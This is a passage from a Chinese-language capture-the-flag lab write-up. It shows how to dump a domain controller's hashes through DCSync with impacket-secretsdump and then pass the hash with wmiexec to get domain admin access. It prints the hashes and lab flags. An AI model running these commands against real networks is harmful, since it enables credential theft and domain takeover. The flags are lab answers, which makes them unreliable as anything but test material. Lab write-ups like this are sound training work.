type C:\Users\Administrator\flag\flag03.txt

1
flag03: flag{e6db8606-5615-47df-8abb-a087bdcff08f}

第四关

关卡剧情:请尝试利用黑客留下的域控制器后门获取域控的权限。

内网

DCSync

上面域信息搜集我们可以知道FILESERVER具有DCSync权限,可以用他的Hash去导出域控的Hash。

用secretsdump导出FILESERVER的Hash

1
proxychains -q impacket-secretsdump -k FILESERVER.xiaorang.lab -no-pass -dc-ip 172.22.60.8

1
2
XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::
NTLM:951d8a9265dfb652f42e5c8c497d70dc

导出域控Hash

1
proxychains -q impacket-secretsdump xiaorang.lab/FILESERVER\[email protected] -hashes :951d8a9265dfb652f42e5c8c497d70dc -no-pass -dc-ip 172.22.60.8 -just-dc-user administrator

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::
NTLM:c3cfdc08527ec4ab6aa3e630e79d349b

接着打PtH

1
2
3
proxychains -q impacket-wmiexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b [email protected] -codec gbk

proxychains -q impacket-wmiexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/[email protected] -codec gbk

获取flag02和flag04

1
2
type C:\Users\Administrator\flag\flag02.txt
type C:\Users\Administrator\flag\flag04.txt

1
flag02: flag{0bbcaed2-a0bb-4951-a12e-e5cb0ba0ff0a}

1
flag04: flag{060d1a2f-55ed-44f2-b07b-d4bbb4cc8b14}

总结: